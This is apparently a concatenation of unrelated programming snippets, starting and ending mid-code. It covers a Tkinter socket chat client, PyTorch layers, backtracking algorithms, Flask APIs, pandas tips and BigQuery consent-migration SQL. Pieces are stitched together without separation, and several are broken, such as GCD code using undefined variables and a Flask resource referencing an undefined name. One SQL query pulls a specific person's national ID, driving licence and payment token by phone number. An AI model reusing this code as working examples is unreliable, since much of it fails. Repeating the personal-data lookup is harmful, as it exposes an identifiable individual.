2.Student Mode\n
            """)

    # try:
    user_input_for_mode=int(input("Enter Your Choice [1, 2]: "))

    if user_input_for_mode == 1:
        lib.libraryHeader()      
        break
    elif user_input_for_mode == 2:
        std.studentHeader()
        break
    else:
        print("\nInvalid Input !")

    # except:
    #     print("\nInvalid Input !")
        
    time.sleep(2)
    clear()

import socket
from threading import Thread
from tkinter import *
from tkinter import messagebox
from tkinter import scrolledtext
import json
import time
from sys import exit
enter_connection_number = Tk()
enter_connection_number.geometry('100x100')
#create a entry to enter port number
connection_number_entry = Entry(enter_connection_number, width=10)
connection_number_entry.insert(0, '')
connection_number_entry.pack()
connection_number_label = Label(enter_connection_number, text='Enter connection IP:')
connection_number_label.pack()
#create a 'set' button for the entry
def set_connection_number():
    global connection_number, connection_number_entry, connection_number_label, connection_number_button
    #set connection_number
    answer = connection_number_entry.get()
    if answer.count('.') == 3 and not ' ' in answer:
        connection_number = connection_number_entry.get()

        #destroy connection_number_entry and connection_number_button
        connection_number_entry.destroy()
        connection_number_button.destroy()
        connection_number_label.destroy()
        #close window
        enter_connection_number.destroy()

    else:
        messagebox.showerror('Invalid connection IP', 'Please enter a connection IP in the format: xxx.xxx.xxx.xxx (no spaces)')
        connection_number_entry.delete(0, END)
connection_number_button = Button(text='Set connection number', command=set_connection_number)
connection_number_button.pack()
enter_connection_number.mainloop()


def send_message_and_get_message(message, start_timer = False):
    '''Sends a message to the server until response is valid and returns the response'''
    if start_timer:
        global timer, my_socket
        timer = time.perf_counter()
    my_socket.send(message.encode())
    response = my_socket.recv(1024).decode()
    while response.startswith('0'):
        if start_timer:
            timer = time.perf_counter()
        my_socket.send(message.encode())
        response = my_socket.recv(1024).decode()
    return response

def send_message(message, mode = 1, func=None):
    '''sends message/command to server and running the command if needed'''
    global closed, username, timer
    try:
        message = str(mode) + message
        data = send_message_and_get_message(message, func == 'timer')
    except Exception as e:
        print(f'ERROR1: {e}\nclosing connection')
        exit()
    else:
        try:
            if func == 'timer':
                timer = time.perf_counter() - timer
                messagebox.showinfo('Ping message', f'Ping Message sent in {int(timer * 10000)/10000} seconds')
            elif func == 'server data':
                messagebox.showinfo('Server data', data)
            elif func == 'connected clients':
                messagebox.showinfo('Connected clients', f' there are {len(data.split(" "))} user(s) online:   {data}')
            elif func == 'set username':
                if data.endswith('1'):
                    messagebox.showinfo('Username changed', data[:-1])
                    username.destroy()
                    username = Label(root, text=f'username: {message.split(" ")[2]}')
                    username.pack()
                else:
                    messagebox.showerror('Username change failed', data[:-1])
                    name_entry.config(state=NORMAL)
                    name_button.config(text='Change name', command=change_name)
            elif data == 'quit':
                print('quiting')
                closed = True
                exit()
            
            else:
                print('\n' + data)
        except Exception as e:
            print(f'ERROR2: {e}')
            closed = True
        
            
closed = False
root = Tk()
#create a tkinter window with label frame
root.title('Chat')
root.geometry('400x400')
frame = Frame(root)
frame.pack()
#create a label and text entry widget
label = Label(frame, text='Enter your message:')
label.pack()
entry = Entry(frame)
entry.pack()
#create a button to send message
button = Button(frame, text='Send', command=lambda: send_message(entry.get()))
button.pack()
#create scrolled text widget to display messages
messages_box = scrolledtext.ScrolledText(frame, height=10, width=100)
#lock messages box
messages_box.config(state=DISABLED)
messages_box.pack()

#create a frame for commands buttons
commands_frame = Frame(root)
commands_frame.pack()
#create a button to quit
quit_button = Button(commands_frame, text='Quit', command=lambda: send_message('QUIT', 2))
quit_button.pack(side=RIGHT)
#create a button to clear messages
def clear_messages():
    messages_box.config(state=NORMAL)
    messages_box.delete(1.0, END)
    messages_box.config(state=DISABLED)
clear_button = Button(commands_frame, text='Clear', command=clear_messages)
clear_button.pack(side=LEFT)
#create a button to send PING commands to server
ping_button = Button(commands_frame, text='Ping', command=lambda: send_message('PING', 2, 'timer'))
ping_button.pack(side=LEFT)
#create a DATA command button
data_button = Button(commands_frame, text='server data', command=lambda: send_message('SERVER', 2, 'server data'))
data_button.pack(side=LEFT)
#create connected clients command button
clients_button = Button(commands_frame, text='Connected clients', command=lambda: send_message('CONNECTED CLIENTS', 2, 'connected clients'))
clients_button.pack(side=LEFT)

#create an entry to change name
name_frame = Frame(root)
name_frame.pack()
name_label = Label(name_frame, text='Enter new username:')
name_label.pack()
name_entry = Entry(name_frame)
name_entry.pack()
#create a button to change name
def change_name():
    global name
    name = name_entry.get()
    send_message(f'SET USERNAME {name}', 2, 'set username')
    print(f'SET USERNAME {name}', 2, 'set username')
    name_entry.delete(0, END)
    name_entry.insert(0, name)
    name_button.config(text='Change name', command=change_name)
name_button = Button(name_frame, text=f'Change name', command=change_name)
name_button.pack()



#create a socket
my_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_socket.settimeout(5)

#label that shows the socket address


try:
    my_socket.connect((connection_number, 8820))
    username = Label(root, text=f'username: {my_socket.getsockname()[1]}')
    username.pack()
except:
    #show messagebox: server is down
    root.withdraw()
    messagebox.showerror(f'Server {connection_number} is down', 'Server is down, please try again later')
    root.destroy()
    quit()
def check_new_messages():
    global last_message, closed
    try:
        while True:
            root.update()
            time.sleep(1)
            try:
                my_socket.send(f'0{last_message}'.encode())
            except:
                if not closed:
                    messagebox.showerror('Server is down', 'Server is down, please try again later')
                    root.destroy()
                    quit()

            data = str(f'[{my_socket.recv(1024).decode()}]')
            #check if not first letter of data is upper case
            if data[1] == '0':
                data = data[2:-1]
                print(data)
                try:
                    data = json.loads(data)
                except Exception as e:
                    print(f'ERROR3: {e}\n{data}')
                else:
                    if data[len(data)-1][0] > last_message:
                        for i in data:
                            if i[0] > last_message:
                                messages_box.config(state=NORMAL)
                                messages_box.insert(END, f'{i[1]} wrote: {i[2]}\n')
                                messages_box.config(state=DISABLED)
                                last_message = i[0]
                    else:
                        continue
            else:
                print(f'ignored message {data}')
 
    except Exception as e:
        pass

last_message = -1
Thread(target=check_new_messages).start()
root.mainloop()
send_message('QUIT', 2)
closed = True
my_socket.close()
with open("demo.txt") as file:
    for item in file:
        print(item)
with open("demo.txt") as file:
    print(file.readline())
audio_meta["duration"].astype(np.int8).value_counts().rename_axis('duration').reset_index(name='counts')
import torch.nn as nn
from torch.nn.utils import spectral_norm

def conv2d(*args, **kwargs):
    return spectral_norm(nn.Conv2d(*args, **kwargs))

class SeparableConv2d(nn.Module):
    def __init__(self, in_channels, out_channels, kernel_size, bias=False):
        super(SeparableConv2d, self).__init__()
        self.depthwise = conv2d(in_channels, in_channels, kernel_size=kernel_size,
            groups=in_channels, bias=bias, padding=1)
        self.pointwise = conv2d(in_channels, out_channels,
            kernel_size=1, bias=bias)

    def forward(self, x):
        out = self.depthwise(x)
        out = self.pointwise(out)
        return out
df.columns=[column[0] if column[1]=='' else column[1] for column in df.columns]
import torch
import torch.nn as nn
import torch.nn.functional as F
class STN(nn.Module):
    def __init__(self):
        super(STN, self).__init__()
        # simple convnet classifier
        self.conv1 = nn.Conv2d(3, 6, 5)
        self.pool = nn.MaxPool2d(2, 2)
        self.conv2 = nn.Conv2d(6, 16, 5)
        self.fc1 = nn.Linear(16 * 5 * 5, 120)
        self.fc2 = nn.Linear(120, 84)
        self.fc3 = nn.Linear(84, 10)
        # spatial transformer localization network
        self.localization = nn.Sequential(
            nn.Conv2d(3, 64, kernel_size=7),
            nn.MaxPool2d(2, stride=2),
            nn.ReLU(True),
            nn.Conv2d(64, 128, kernel_size=5),
            nn.MaxPool2d(2, stride=2),
            nn.ReLU(True)
        )
        # tranformation regressor for theta
        self.fc_loc = nn.Sequential(
            nn.Linear(128*4*4, 256),
            nn.ReLU(True),
            nn.Linear(256, 3 * 2)
        )
        # initializing the weights and biases with identity transformations
        self.fc_loc[2].weight.data.zero_()
        self.fc_loc[2].bias.data.copy_(torch.tensor([1, 0, 0, 0, 1, 0], 
                                                    dtype=torch.float))
    def stn(self, x):
        xs = self.localization(x)
        xs = xs.view(-1, xs.size(1)*xs.size(2)*xs.size(3))
        # calculate the transformation parameters theta
        theta = self.fc_loc(xs)
        # resize theta
        theta = theta.view(-1, 2, 3) 
        # grid generator => transformation on parameters theta
        grid = F.affine_grid(theta, x.size())
        # grid sampling => applying the spatial transformations
        x = F.grid_sample(x, grid)
        return x
    def forward(self, x):
        # transform the input
        x = self.stn(x)
        
        # forward pass through the classifier 
        x = self.pool(F.relu(self.conv1(x)))
        x = self.pool(F.relu(self.conv2(x)))
        x = x.view(-1, 16*5*5)
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = self.fc3(x)
        return F.log_softmax(x, dim=1)
for ...:
	if len(item)<10: # not date
		try:
			user_given_real = locale.atoi(item)
			logger.info(f'get new user_given {user_given_real}')
		except:
			continue
		else:
			break
from random import choice, randint

alphabet_min = [ chr(i) for i in range(97,123) ]
alphabet_maj = [ chr(i) for i in range(65,91) ]
chiffres = [ chr(i) for i in range(48,58) ]
caracteres_speciaux = [ '%' , '_' , '-' , '!' , '$' , '^' , '&' , '#' , '(' , ')' , '[' , ']' , '=' , '@']


def pwd(n , min = True, maj = True, chif = True, cs = True):
    alphabets = dict()
    key = 0
    if min:
        alphabets[key] = alphabet_min
        key += 1
    if maj:
        alphabets[key] = alphabet_maj
        key += 1
    if chif:
        alphabets[key] = chiffres
        key += 1
    if cs:
        alphabets[key] = caracteres_speciaux
        key += 1
    
    mdp = ''
    for i in range(n):
            s = randint(0,key-1)
            mdp += choice( alphabets[s] )
            
    return mdp
def combinationSum2(candidates, target):
    res = []
    candidates.sort()
    
    def dfs(target, index, path):
        if target < 0:
            return  # backtracking
        if target == 0:
            res.append(path)
            return  # backtracking 
        for i in range(index, len(candidates)):
            if candidates[i] == candidates[i-1]:
                continue
            dfs(target-candidates[i], i+1, path+[candidates[i]])
            
    dfs(target, 0, [])
    return res
def combinationSum2(candidates, target):
    res = []
    candidates.sort()
    
    def dfs(target, index, path):
        if target < 0:
            return  # backtracking
        if target == 0:
            res.append(path)
            return 
        for i in range(index, len(candidates)):
            dfs(target-candidates[i], i, path+[candidates[i]])
            
    dfs(target, 0, [])
    return res
def subsetsWithDup(nums):
    res = []
    nums.sort()
    
    
    def dfs(index, path):
        res.append(path)
        for i in range(index, len(nums)):
            if i > index and nums[i] == nums[i-1]:
                continue
            dfs(i+1, path+[nums[i]])
            
    dfs(0, [])
    return res
def subsets1(nums):
    res = []
    nums.sort()
    
    def dfs(index, path):
        res.append(path)
        for i in range(index, len(nums)):
            dfs(i+1, path+[nums[i]])
            
    dfs(0, [])
    return res
# nums = list

def permuteUnique(self, nums):
    res, visited = [], [False]*len(nums)
    nums.sort()
    self.dfs(nums, visited, [], res)
    return res
    
def dfs(self, nums, visited, path, res):
    if len(nums) == len(path):
        res.append(path)
        return 
    for i in xrange(len(nums)):
        if not visited[i]: 
            if i>0 and not visited[i-1] and nums[i] == nums[i-1]:  # here should pay attention
                continue
            visited[i] = True
            self.dfs(nums, visited, path+[nums[i]], res)
            visited[i] = False
# nums = list

class Solution:
    def permute(self, nums: List[int]) -> List[List[int]]:
        res = []
        self.dfs(nums, [], res)
        return res

    def dfs(self, nums, path, res):
        if not nums:
            res.append(path)
            #return # backtracking
        for i in range(len(nums)):
            self.dfs(nums[:i]+nums[i+1:], path+[nums[i]], res)
def combine(self, n: int, k: int) -> List[List[int]]:
        res = []
        nums = range(1,n+1);

        def dfs(k, index, path):
            if k == 0:
                res.append(path)
                return # backtracking 
            for i in range(index, len(nums)):
                dfs(k-1, i+1, path+[nums[i]])
               
        dfs(k, 0 ,[])
        return res
create or replace table temp_eu.200_users_aepd_avant as 
select * from (
select
    *,
    rand() as rand_
from `reby-cloud.misc_eu.user_consent`
where date(from_co_cu_id_created) between date('2020-08-19') AND current_date
and from_co_id = 'c_3r2qzjfpj8tq2sq3pan1'
)
where rand_ < 0.1
limit 200
DECLARE fecha_migracion TIMESTAMP;
SET fecha_migracion = '2021-06-16 00:52:53.131944 UTC';

create or replace table misc_eu.user_consent as
with first_user_session as (
    SELECT
    us.*,
    cu.id as cu_id,
    row_number() over(partition by cu.id order by us.created_at asc) as rank_
FROM `reby-cloud.analytics_reby_v1_eu.pg_user_session` us
LEFT JOIN `reby-cloud.reby_marketing_eu.pg_company_user` cu on us.company_id = cu.company_id and us.user_id = cu.user_id
QUALIFY rank_ = 1
),

rides as (
    select 
        id,
        created_at,
        user_id,
        if(vehicle_company_id is null,'c_3qteetfhxjshx4j54111',vehicle_company_id) as vehicle_company_id,
        if(company_id is null,'c_3qteetfhxjshx4j54111',company_id) as company_id
    from analytics_reby_v1_eu.pg_rides_json
),

first_ride_pre as (
    select
        r.id,
        r.user_id,
        r.created_at as ride_date,
        r.vehicle_company_id,
        r.company_id as app_co_id,
        co.name as vehicle_company_name,
        co2.name as app_company_name,
        cu.id as cu_id_vehicle,
        cu2.id as cu_id_app,
        --row_number() over (partition by r.user_id,r.vehicle_company_id order by r.created_at asc) as rank_
    from rides r
    left join `reby-cloud.analytics_reby_v1_eu.pg_company` co on r.vehicle_company_id = co.id
    left join `reby-cloud.analytics_reby_v1_eu.pg_company` co2 on r.company_id = co2.id
    left join `reby-cloud.reby_marketing_eu.pg_company_user` cu on r.user_id = cu.user_id and r.vehicle_company_id = cu.company_id
    left join `reby-cloud.reby_marketing_eu.pg_company_user` cu2 on r.user_id = cu2.user_id and r.company_id = cu2.company_id
    --where cu2.id = 'cu_3qtjhf229x9t31h4c2n1'
    --order by 2 desc
    --QUALIFY rank_= 1
),

first_ride_per_app_vehicle as (
select *, row_number() over (partition by user_id, app_company_name, vehicle_company_name order by ride_date asc) as rank_ from first_ride_pre qualify rank_ = 1
)
,

join_ride_session as (
select
    ur.*,
    --cu.user_id,
    --u.id as user_id,
    cu.created_at as date_comp_user_created,
    u.created_at as date_user_meta_created,
    fus.created_at as first_session_company,
    up.created_at as user_profile_vehicle_company_created_at,
    consent.consent_from_reby
from first_ride_per_app_vehicle ur
left join `reby-cloud.reby_marketing_eu.pg_company_user` cu on ur.cu_id_vehicle = cu.id
left join `reby-cloud.analytics_reby_v1_eu.pg_users_json` u on ur.user_id = u.id
--join `reby-cloud.temp_eu.200_users_aepd` u on u.cu_id = ur.app_co_id
left join first_user_session fus on fus.cu_id = ur.cu_id_vehicle
left join `reby-cloud.analytics_reby_v1_eu.pg_user_profile` up on ur.cu_id_vehicle = up.company_user_id
left join `reby-cloud.analytics_reby_v1_eu.pg_consent` consent on ur.cu_id_vehicle = consent.company_user_id
)

select
    jrs.*,
    case
        when app_company_name = 'Reby' and vehicle_company_name = 'Reby' then 'no consent necessary'
        --PRE-MIGRACION
        --when vehicle_company_name = app_company_name  and first_session_company is not null and first_session_company < fecha_migración then cast(first_session_company as string)
        --when vehicle_company_name = app_company_name and vehicle_company_name = 'Reby' and first_session_company is null then cast(date_user_meta_created as string)

        when app_company_name != 'Reby' and first_session_company is not null and first_session_company < fecha_migracion then cast(first_session_company as string)
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is null and ride_date < fecha_migracion then cast(ride_date as string)
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is not null and first_session_company < ride_date and first_session_company < fecha_migracion then cast(first_session_company as string)
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is not null and first_session_company >= ride_date and ride_date < fecha_migracion then cast(ride_date as string)

        --POST-MIGRACION
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is null then cast(date_comp_user_created as string)
        #when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and ride_date > fecha_migracion then cast(ride_date as string)
        when vehicle_company_name = app_company_name  and first_session_company is not null and first_session_company > fecha_migracion then 'consentimiento no necesaria'
        when app_company_name != 'Reby' and first_session_company is not null and first_session_company >= fecha_migracion then 'consentimiento no necesaria' 
        when app_company_name != 'Reby' and consent_from_reby is true and ride_date is not null then cast(ride_date as string)
        #when app_company_name = 'Reby' and consent_from_reby is true and user_profile_vehicle_company_created_at > date_comp_user_created then cast(user_profile_vehicle_company_created_at as string)
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and ride_date > fecha_migracion then cast(ride_date as string)
    
        else 'consentimiento no necesario'
    end as migration_consent,
    case
        when app_company_name = 'Reby' and vehicle_company_name = 'Reby' then 'Caso0 - Aplicacion y Compañia son las mismas'

        --PRE-MIGRACION
        when app_company_name != 'Reby' and first_session_company is not null and first_session_company < fecha_migracion then 'Caso1 - Consentimiento desde app company pre-migracion'
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is null and ride_date < fecha_migracion then 'Caso2 - Consentimiento desde app Reby pre-migracion'
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is not null and first_session_company < ride_date and first_session_company < fecha_migracion then 'Caso3 - Consentimiento desde app company pre-migracion'
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is not null and first_session_company >= ride_date and ride_date < fecha_migracion then 'Caso4 - Consentimiento desde app Reby pre-migracion'

        --POST-MIGRACION
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and first_session_company is null then 'Caso5 - Consentimiento desde app Reby post-migracion'
        #when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and ride_date > fecha_migracion then cast(ride_date as string)
        when vehicle_company_name = app_company_name  and first_session_company is not null and first_session_company > fecha_migracion then 'Caso6 - consentimiento no necesaria'
        when app_company_name != 'Reby' and first_session_company is not null and first_session_company >= fecha_migracion then 'Caso7 - consentimiento no necesaria' 
        when app_company_name != 'Reby' and consent_from_reby is true and ride_date is not null then 'Caso8 - Consentimiento desde app Reby post-migracion'
        #when app_company_name = 'Reby' and consent_from_reby is true and user_profile_vehicle_company_created_at > date_comp_user_created then cast(user_profile_vehicle_company_created_at as string)
        when app_company_name = 'Reby' and vehicle_company_name != 'Reby' and ride_date > fecha_migracion then 'Caso9 - Consentimiento desde app Reby post-migracion'

        else 'Caso10 - Otros'
    end as caso
from join_ride_session jrs
>>> a = [1,2,3,4,5]
>>> b = [1,3,5,6]
>>> list(set(a) & set(b))
[1, 3, 5]
from dataclasses import dataclass

@dataclass
class Book_list:
	name: str
	perunit_cost: float
	quantity_available: int = 0
		
	# function to calculate total cost	
	def total_cost(self) -> float:
		return self.perunit_cost * self.quantity_available
	
book = Book_list("Introduction to programming.", 300, 3)
x = book.total_cost()

# print the total cost
# of the book
print(x)

# print book details
print(book)

# 900
Book_list(name='Python programming.',
		perunit_cost=200,
		quantity_available=3)
select
    cu.id as user_id,
    id_to_time(cu.id) as created_at,
    usr.phone_number,
    co.name as company,
    cu.payment_processor__token,
    cu.consent_from_reby,
    acc.balance__amount/100 as balance_euros,
    up.driving_licence,
    up.national_id,
    email
from company_user cu --tabla principal de usuarios
left join user_profile up on up.company_user_id = cu.id --tabla con información adicional del usuario/a
left join public.user usr on cu.user_id = usr.id
left join company co on cu.company_id = co.id --tabla de compañias
left join account acc on cu.balance_account_id = acc.id
where usr.phone_number = '+34674780704'
!zip -r /content/file.zip /content/Folder_To_Zip
from google.colab import files
files.download("/content/file.zip")
!git clone https://github.com/huggingface/transformers.git
!pip install transformers
!pip install datasets
!pip install huggingface-hub==0.4.0
import shutil
shutil.rmtree("FILE_PATH", ignore_errors=True)
num_list = [
    "a",
    "two",
    "three",
    "four",
    "five",
    "six",
    "seven",
    "eight",
    "nine",
    "ten",
    "eleven",
    "twelve",
]

# present_list = [Partridge in a Pear Tree,  Turtle Doves]
present_list = [
    "twelve Drummers Drumming",
    "eleven Pipers Piping",
    "ten Lords-a-Leaping",
    "nine Ladies Dancing",
    "eight Maids-a-Milking",
    "seven Swans-a-Swimming",
    "six Geese-a-Laying",
    "five Gold Rings",
    "four Calling Birds",
    "three French Hens",
    "two Turtle Doves",
    "a Partridge in a Pear Tree",
]
present_list.reverse()


def Twelve_days():
    present_l = []
    i = 1
    for phrase in present_list:
        present_l.insert(0, phrase)
        # present_l.reverse()
        present_r = str(present_l).strip("[]").replace("'", "")
        present_r = present_r[0:-29] + present_r[-27:]  # XxX the fuck
        print(
            f"On the first day of Christmas my true love gave to me: {present_r}."
        )  # empty {} error
        if i == 1:
            present_l.insert(-1, "andd")
        i += 1


Twelve_days()
tx = "Yolo"
print(tx)
from flask import Flask, request
from flask_restful import Resource, Api

app = Flask(__name__)
api = Api(app)

todos = {}

class TodoSimple(Resource):
    def get(self, todo_id):
        return {todo_id: todos[todo_id]}

    def put(self, todo_id):
        todos[todo_id] = request.form['data']
        return {todo_id: todos[todo_id]}

api.add_resource(TodoSimple, '/<string:todo_id>')

if __name__ == '__main__':
    app.run(debug=True)
from flask import Flask
from flask_restful import Resource, Api
app = Flask(__name__)
api = Api(app)
data = []
class People(Resource):
	def get(self):
		for x in data:
			if x['Data'] == name:
				return x
		return {'Data': None}
	def post(self, name):
		temp = {'Data': name}
		data.append(temp)
		return temp
	def delete(self):
		for ind, x in enumerate(data):
			if x['Data'] == name:
				temp = data.pop(ind)
				return {'Note': 'Deleted'}
api.add_resource(People, '/Name/')
if __name__ == '__main__':
	app.run(debug=True)
from marshmallow import post_load

from .transaction import Transaction, TransactionSchema
from .transaction_type import TransactionType


class Expense(Transaction):
  def __init__(self, description, amount):
    super(Expense, self).__init__(description, -abs(amount), TransactionType.EXPENSE)

  def __repr__(self):
    return '<Expense(name={self.description!r})>'.format(self=self)


class ExpenseSchema(TransactionSchema):
  @post_load
  def make_expense(self, data):
    return Expense(**data)
from enum import Enum


class TransactionType(Enum):
  INCOME = "INCOME"
  EXPENSE = "EXPENSE"
from marshmallow import post_load

from .transaction import Transaction, TransactionSchema
from .transaction_type import TransactionType


class Income(Transaction):
  def __init__(self, description, amount):
    super(Income, self).__init__(description, amount, TransactionType.INCOME)

  def __repr__(self):
    return '<Income(name={self.description!r})>'.format(self=self)


class IncomeSchema(TransactionSchema):
  @post_load
  def make_income(self, data):
    return Income(**data)
import datetime as dt

from marshmallow import Schema, fields


class Transaction():
  def __init__(self, description, amount, type):
    self.description = description
    self.amount = amount
    self.created_at = dt.datetime.now()
    self.type = type

  def __repr__(self):
    return '<Transaction(name={self.description!r})>'.format(self=self)


class TransactionSchema(Schema):
  description = fields.Str()
  amount = fields.Number()
  created_at = fields.Date()
  type = fields.Str()
from flask import Flask, jsonify, request

app = Flask(__name__)

incomes = [
  { 'description': 'salary', 'amount': 5000 }
]


@app.route('/incomes')
def get_incomes():
  return jsonify(incomes)


@app.route('/incomes', methods=['POST'])
def add_income():
  incomes.append(request.get_json())
  return '', 204
from flask import Flask
app = Flask(__name__)


@app.route("/")
def hello_world():
  return "Hello, World!"
df = pd.DataFrame({'B': [1, 2, 3], 'C': [4, 5, 6]})

df
Out: 
   B  C
0  1  4
1  2  5
2  3  6

idx = 0
new_col = [7, 8, 9]  # can be a list, a Series, an array or a scalar   
df.insert(loc=idx, column='A', value=new_col)

df
Out: 
   A  B  C
0  7  1  4
1  8  2  5
2  9  3  6
from flask import Flask

from flask_restful import Resource, Api

app = Flask(__name__)

api = Api(app)

class Helloworld(Resource):

	def __init__(self):

		pass

	def get(self):

		return {

			"Hello": "World"

		}

api.add_resource(Helloworld, '/')

if __name__ == '__main__':

	app.run(debug=True)
import altair as alt
from vega_datasets import data
import datapane as dp

df = data.cars()

plot1 = alt.Chart(df).mark_circle(size=60).encode(
    x='Horsepower', y='Miles_per_Gallon', color='Origin',
    tooltip=['Name', 'Origin', 'Horsepower', 'Miles_per_Gallon']
).interactive()
dp.Report(
    dp.Plot(plot1),
    dp.DataTable(df)
).upload(name="My example report")
<list>.insert(<int>, <el>)     # Inserts item at index and moves the rest to the right.
<el>  = <list>.pop([<int>])    # Returns and removes item at index or from the end.
<int> = <list>.count(<el>)     # Returns number of occurrences. Also works on strings.
<int> = <list>.index(<el>)     # Returns index of the first occurrence or raises ValueError.
<list>.remove(<el>)            # Removes first occurrence of the item or raises ValueError.
<list>.clear()                 # Removes all items. Also works on dictionary and set.
ToC = {
    '1. Collections': [List, Dictionary, Set, Tuple, Range, Enumerate, Iterator, Generator],
    '2. Types':       [Type, String, Regular_Exp, Format, Numbers, Combinatorics, Datetime],
    '3. Syntax':      [Args, Inline, Import, Decorator, Class, Duck_Types, Enum, Exception],
    '4. System':      [Exit, Print, Input, Command_Line_Arguments, Open, Path, OS_Commands],
    '5. Data':        [JSON, Pickle, CSV, SQLite, Bytes, Struct, Array, Memory_View, Deque],
    '6. Advanced':    [Threading, Operator, Introspection, Metaprograming, Eval, Coroutine],
    '7. Libraries':   [Progress_Bar, Plot, Table, Curses, Logging, Scraping, Web, Profile,
                       NumPy, Image, Audio, Games, Data]
}
def test(func):
    print("this is funcion test")

    def inner():
        print("this is inner function")
        return func

    # return inner()
    inner()


# test()  #1

# print(test())


def test2():
    print("this is test 2")


# test(test2)     #1
a = test(test2)
a()
macro_template_path = r'C:\Users\baphuoc.phamhoang\Box\developement\Streamlit_Dashboards\dashboards\Dashboard.xlsx'
with open(macro_template_path, 'rb') as f:
        buffer = BytesIO(f.read())
with pd.ExcelWriter(buffer, engine="openpyxl", mode="a", if_sheet_exists="replace") as writer:
        macro_res_2days_df.to_excel(writer, 'input_data', index=False)
temporarylocation=r"C:\Users\baphuoc.phamhoang\Box\developement\Streamlit_Dashboards\dashboards\ran_capactiy_dashboard\macro_db_testout.xlsx"
with open(temporarylocation, 'wb') as out:
        out.write(buffer.getvalue())
buffer.close()
# Infinity, and it's brother minus infinity, 
# comes in handy once in a while.


my_inf = float('Inf') 
99999999 > my_inf 
-> False 
 
my_neg_inf = float('-Inf') 
my_neg_inf > -99999999 
-> False 
#!/usr/bin/env python2 
import requests 
from bs4 import BeautifulSoup 
import pynotify 
from time import sleep 
def sendmessage(title, message): 
    pynotify.init("Test") 
    notice = pynotify.Notification(title, message) 
    notice.show() 
    return 
url = "http://static.cricinfo.com/rss/livescores.xml" 
while True: 
    r = requests.get(url) 
    while r.status_code is not 200: 
            r = requests.get(url) 
    soup = BeautifulSoup(r.text) 
    data = soup.find_all("description") 
    score = data[1].text 
    sendmessage("Score", score) 
    sleep(60) 
## Instead of building a list with a loop:

b = [] 
for x in a: 
    b.append(10 * x) 
foo(b) 

## you can often build it much more concisely
 ## with a list comprehension:

foo([10 * x for x in a]) 

##or, if foo accepts an arbitrarily iterable (which it usually will), ## a generator expression:

foo(10 * x for x in a) 
df = df.rename(columns={'oldName1': 'newName1', 'oldName2': 'newName2'})
# Or rename the existing DataFrame (rather than creating a copy) 
df.rename(columns={'oldName1': 'newName1', 'oldName2': 'newName2'}, inplace=True)
class Inf:
    def __iter__(self):
        self.start = 0
        return self

    def __next__(self):

        num = self.start
        self.start += 2
        return num
import json

#someFiles is just a fold name inside the projects main folder.
with open("someFiles\\file_name", "r") as whatever_u_want:
    var_of_choice = json.load(whatever_u_want)


print (var_of_choice)
>>> import datetime
>>> datetime.datetime.today()
datetime.datetime(2012, 3, 23, 23, 24, 55, 173504)
>>> datetime.datetime.today().weekday()
4
from selenium.webdriver.common.keys import Keys
inp.send_keys(Keys.NUMPAD1)
btn=web.find_element_by_css_selector('button[id="BtnPlus"]')
# Assume we have a data array that has a time dimension, e.g. forecast_initial_time, and
# we want to compute a new time via timedelta:

# in this case, timeRange is an array of initial forecast times
for x in np.arange(0,len(timeRange),1):  
  for y in range(1,13):
    # Add the forecast_hour to the forecast_initial_time to determine the valid time
    valTime = fh.forecast_initial_time[x] + pd.Timedelta(hours=y)
    print(pd.to_datetime(valTime.values,format="%Y%m%d/%H%M UTC"))
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC


WebDriverWait(web,10).until(
    EC.text_to_be_present_in_element(
        (By.CLASS_NAME,"_8eso"),"Avec Facebook, partagez et restez en contact avec votre entourage."
    )

)
import threading

@app.route('/long-task')
def long_task():
	threading.Thread(target=do_long_task).start()
	return "Task started"
@app.route('/long-task')
def long_task():
	do_long_task()
	return "Task completed"
    args=("ffprobe","-show_entries", "format=duration","-i",filename)
    popen = subprocess.Popen(args, stdout = subprocess.PIPE)
    popen.wait()
    output = popen.stdout.read()
from pytube import YouTube
from pytube.cli import on_progress

fuchsia = '\033[38;2;255;00;255m'   #  color as hex #FF00FF
reset_color = '\033[39m'

# url is url of youtube video to download.
def download_youtube(url):

    """ Instantiates YouTube class and downloads selected video.  Uses Built-in
    pytube.cli function on_progress to show a DOS style progress bar. """
    yt = YouTube(url, on_progress_callback=on_progress)

    # following line displays title and number of times video has been viewed. 
    print(f'\n' + fuchsia + 'Downloading: ', yt.title, '~ viewed', yt.views, 
    'times.')

    # creates download and downloads to subdirectory called 'downloads'
    yt.streams.first().download('.\\downloads\\')

    # displays message verifying download is complete, and resets color scheme 
    # back to original color scheme.
    print(f'\nFinished downloading:  {yt.title}' + reset_color)
Criando seu requirements.txt
Um jeito simples de criar o seu próprio arquivo de depências é usando o comando pip freeze da seguinte forma:

$ pip freeze > requirements.txt
O comando pip freeze lista no terminal os pacotes Python instalados no seu ambiente já no formato que o pip install consegue entender, ao associá-lo com o operardor de redireção > você consegue escrever a mesma lista que aparece no terminal dentro do arquivo de texto.
def cellCompete(states, days):
	for day in range(days):
    	newStates = states[:]

		for i in range(len(states)):
        	if i == 0:
            	if states[i+1] == 0:
                	states[i] = 0
				else:
                	states[i] = 1
            elif i == len(states) - 1:
            	if states[i-1] == 0:
                	states[i] = 0
				else:
                	states[i] = 1
            else:
            	if states[i-1] == states[i+1]:
                	newStates[i] = 0
				else:
                	newStates[i] = 1
		states = newStates[:]
	return states
def GCD(x, y):
	while(y):
		x, y = y, x % y
	return x

def generalizedGCD(nums):
	num1 = l[0]
	num2 = l[1]
	gcd = GCD(num1, num2)

	for i in range(2, len(l)):
		gcd = find_gcd(gcd, l[i])

	return gcd
def anagramGrouping(words):
    groups_list = []
    sets_list = {}
    
    for word in words:
